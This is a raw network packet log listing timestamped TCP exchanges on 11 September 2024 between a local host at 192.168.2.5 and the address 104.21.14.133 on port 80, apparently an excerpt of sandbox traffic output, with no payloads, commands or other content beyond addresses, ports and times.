Sep 11, 2024 18:23:52.218482018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218482018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218519926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218519926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218631983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218636036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218641043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218650103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218664885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218672037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218677044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218688011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218693018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218697071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218700886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218704939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218710899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218715906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218720913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218725920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218728065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218733072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218735933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218735933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218735933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218738079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218743086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218746901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218751907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218755007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218760967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218771935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218771935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218806028 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.218934059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218939066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218943119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218951941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218955040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218960047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218977928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218986034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.218991041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219001055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219003916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219010115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219013929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219017982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219023943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219044924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.219044924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.219046116 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.219063997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.219167948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219172001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219176054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219191074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219196081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219199896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219204903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219208956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219213963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219227076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219228029 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.219232082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.219242096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.219413996 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223119974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223186016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223196983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223202944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223212957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223217010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223221064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223227024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223231077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223339081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223342896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223346949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223357916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223361969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223365068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223372936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223376989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223381996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223392010 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223392010 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223392010 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223433971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223484993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223489046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223494053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223505020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223510027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223512888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223517895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223520994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223525047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223531008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223536015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223539114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223542929 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223545074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223548889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223575115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223577023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223582029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223586082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223638058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223638058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223638058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223702908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223707914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223712921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223723888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223730087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223733902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223738909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223786116 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223786116 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223787069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223792076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223795891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223818064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223820925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223824978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223829985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223833084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223836899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223843098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223856926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223856926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223890066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223893881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223897934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223898888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223910093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223923922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223929882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223933935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223942995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223948956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223952055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223956108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.223963022 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.223983049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224025965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224050999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224056005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224060059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224076986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224080086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224085093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224142075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224145889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224148989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224159002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224164963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224169970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224185944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224185944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224198103 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224210978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224215031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224219084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224227905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224383116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224390984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224405050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224416018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224419117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224422932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224428892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224431992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224436045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224442005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224451065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224456072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224461079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224464893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224468946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224471092 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224471092 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224471092 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224492073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224497080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224500895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224510908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224514008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.224544048 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.224544048 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.225011110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.432450056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432486057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432491064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432496071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432499886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432521105 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.432562113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.432562113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.432579041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432583094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432586908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432590961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432595015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432599068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432604074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432625055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.432676077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.432708025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432712078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432715893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.432770967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434410095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434456110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434467077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434475899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434479952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434484005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434489965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434493065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434494972 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434497118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434516907 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434546947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434591055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434602976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434607029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434611082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434617043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434626102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434631109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434636116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434639931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434644938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434652090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434657097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434662104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434668064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434672117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434689999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434721947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434721947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434745073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434748888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434753895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434760094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434763908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434768915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434773922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434775114 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434777975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434843063 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434874058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434878111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434883118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434891939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434902906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434907913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434925079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434937000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434941053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434947014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434952974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434954882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434957027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434962034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434967995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434969902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.434972048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.434984922 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435015917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435055017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435058117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435065031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435069084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435072899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435077906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435082912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435086966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435091019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435096025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435100079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435103893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435111046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435143948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435143948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435143948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435162067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435168982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435173035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435209990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435214043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435218096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435220957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435220957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435223103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435225964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435233116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435244083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435246944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435250998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435256958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435260057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435260057 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435264111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435270071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435272932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435276985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435281992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435286045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.435298920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435298920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435331106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.435360909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437022924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437030077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437033892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437037945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437072039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437072039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437093019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437097073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437100887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437104940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437108994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437113047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437120914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437164068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437164068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437244892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437249899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437253952 CEST	80	49710	104.21.14.133	192.168.2.5
